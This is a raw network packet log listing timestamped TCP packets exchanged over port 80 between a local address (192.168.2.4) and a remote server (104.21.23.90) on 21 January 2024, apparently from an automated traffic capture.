Jan 21, 2024 16:57:09.030735970 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.030750036 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.030772924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.030822039 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.031443119 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.031481028 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.031517982 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.031534910 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.031555891 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.031609058 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.031626940 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.032239914 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.032275915 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.032296896 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.032313108 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.032349110 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.032367945 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.032387018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.032440901 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.033054113 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.033116102 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.033152103 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.033170938 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.033202887 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.033241034 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.033257008 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.033900976 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.033938885 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.033957958 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.033976078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.034012079 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.034029961 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.034049988 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.034101963 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.034754992 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.034791946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.034830093 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.034845114 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.034867048 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.034904003 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.034921885 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.035566092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.035605907 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.035621881 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.035644054 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.035680056 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.035700083 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.035717010 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.035768032 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.036458015 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.036494017 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.036530018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.036549091 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.036581993 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.036622047 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.036650896 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.037241936 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.037281036 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.037298918 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.037317991 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.037354946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.037369967 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.037393093 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.037446022 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.038081884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.038121939 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.038158894 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.038176060 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.038197041 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.038233995 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.038250923 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.038949013 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.038992882 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.039010048 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.039030075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.039067030 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.039084911 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.039104939 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.039156914 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.039736032 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.039772987 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.039810896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.039829016 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.039846897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.039885998 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.039900064 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.040657043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.040693045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.040710926 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.040730000 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.040766001 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.040788889 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.040803909 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.040858984 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.041491032 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.041527987 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.041564941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.041583061 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.041604042 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.041640997 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.041657925 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.042337894 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.042375088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.042393923 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.042411089 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.042447090 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.042464018 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.042484999 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.042537928 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.043195963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.043234110 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.043271065 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.043289900 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.043308020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.043344975 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.043365955 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.043952942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.043996096 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.044008970 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.044034004 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.044070005 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.044087887 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.044109106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.044163942 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.044830084 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.044866085 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.044902086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.044919014 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.044939995 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.044976950 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.044996977 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.045593023 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.045629978 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.045649052 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.045665979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.045701981 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.045721054 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.045741081 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.045797110 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.046523094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.046561003 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.046598911 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.046614885 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.046636105 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.046673059 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.046689987 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.047266960 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.047302961 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.047322989 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.047339916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.047375917 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.047393084 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.047414064 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.047465086 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.048114061 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.048151016 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.048187971 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.048203945 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.048228025 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.048264027 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.048279047 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.048923016 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.048959970 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.048973083 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.048995972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.049031973 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.049048901 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.049072027 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.049128056 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.049798012 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.049834967 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.049873114 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.049894094 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.049926043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.049962997 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.049982071 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.050631046 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.050683975 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.050687075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.050724983 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.050761938 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.050777912 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.050800085 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.050853968 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.051537991 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.051574945 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.051613092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.051629066 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.051651955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.051690102 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.051709890 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.052324057 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.052360058 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.052376986 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.052397013 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.052433014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.052453041 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.052469969 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.052520990 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.053153992 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.053191900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.053229094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.053246975 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.053266048 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.053303957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.053323030 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.053930044 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.053982019 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.054008961 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.054047108 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.054083109 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.054100037 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.054121971 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.054177046 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.054852009 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.054888010 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.054924965 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.054941893 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.054961920 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.055001974 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.055018902 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.055608988 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.055663109 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.055665970 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.055704117 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.055740118 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.055778027 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.055780888 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.055826902 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.056545019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.056582928 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.056619883 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.056638002 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.056657076 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.056694031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.056710958 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.057329893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.057368040 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.057384014 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.057405949 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.057444096 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.057459116 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.057482958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.057534933 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.058197975 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.058233976 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.058270931 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.058285952 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.058307886 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.058343887 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.058367014 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.059026957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.059063911 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.059088945 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.059099913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.059135914 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.059148073 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.059175014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.059228897 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.059854031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.059890985 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.059926987 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.059942961 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.059963942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.060010910 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.060019970 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.060657024 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.060693979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.060715914 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.060741901 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.060779095 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.060794115 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.060817003 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.060882092 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.061855078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.061907053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.061944962 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.061964989 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.061986923 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.062025070 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.062031031 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.062372923 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.062410116 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.062431097 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.062448025 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.062484026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.062496901 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.062521935 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.062576056 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.063189983 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.063226938 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.063263893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.063276052 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.063302994 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.063339949 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.063352108 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.064017057 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.064054012 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.064090014 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.064090967 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.064130068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.064142942 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.064167976 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.064224958 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.064798117 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.064836979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.064872980 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.064888954 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.064912081 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.064949036 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.064961910 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.065691948 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.065731049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.065752983 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.065768003 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.065803051 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.065814018 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.065840960 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.065898895 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.066468954 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.066529989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.066567898 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.066584110 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.066606045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.066644907 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.066658020 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.067399979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.067439079 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.067461014 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.067476988 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.067512989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.067523956 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.067549944 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.067606926 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.068135023 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.068217993 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.068254948 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.068272114 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.068295956 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.068331957 CET	80	49730	104.21.23.90	192.168.2.4
